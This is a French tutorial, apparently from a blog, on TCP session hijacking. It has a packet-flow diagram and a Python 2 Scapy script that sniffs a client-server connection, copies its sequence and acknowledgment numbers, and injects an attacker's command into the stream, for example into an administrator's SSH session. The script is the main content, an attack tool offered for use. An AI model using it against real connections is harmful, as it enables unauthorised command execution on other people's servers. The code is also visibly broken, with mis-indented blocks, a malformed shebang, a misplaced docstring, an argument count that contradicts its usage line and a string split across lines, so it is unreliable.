TCP Session Hijacking



TCP Session Hijacking

Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH.
Il créer une connexion d'un client A à un Serveur B qui dialogue entre eux en utilisant un numéro de séquence est un acknoledge que seul A et B connaisse.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion et de désynchroniser A de B.

NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre A et B.

Exemple: P pour pirate.


A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey
 --------> B
 A <-------          Flag ACK, seq=1200, ack=1004        --------- B
 P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha
 ------> B
 P <-------          Flag ACK, seq=1200, ack=1012        --------- B
 
 --------------------------- ACK Storm -----------------------------
 
 A ----------------------       ACK       -----------------------> B
 A <---------------------       ACK       ------------------------ B
 A ----------------------       ACK       -----------------------> B
 A <---------------------       ACK       ------------------------ B


Reprenons le précédent script en modifiant quelques lignes:


#TCP Session Hijacking Script
 #Usage: hijack.py serveur_ip serveur_port client_ip
 #!usr/bin/env/python
      
 from scapy.all import *
 import sys
 
 """Filtre a appliqué au Sniffer"""
 filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
 print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
 print " "
     
 def hijack(p):
  cmd=sys.argv[4] """On Stock la commande a executer"""
     
  if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
     print "[+] Found!"
     print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
     """Seq = Seq_du_paquet_precedent + Len_des_Datas"""
     print "Hijack Seq: " + str(p[TCP].ack) + " |  Hijack Ack: " + str(p[TCP].seq)
     print " "
     print "[+] Hijack Session!"
      
 """Ethernet"""
 ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
     
 """IP"""
 ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
 proto=p[IP].proto, id=29321)
     
 """TCP, flag: PUSH/ACK"""
 tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
 reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
      
 """On ajoute la commande au paquet"""
 hijack = ether/ip/tcp/(cmd+"
")
 sendp(hijack)
    
 """On sors du script, sinon il repondrat dans l'ACK Storm"""
 sys.exit()
        
 """Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
 sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))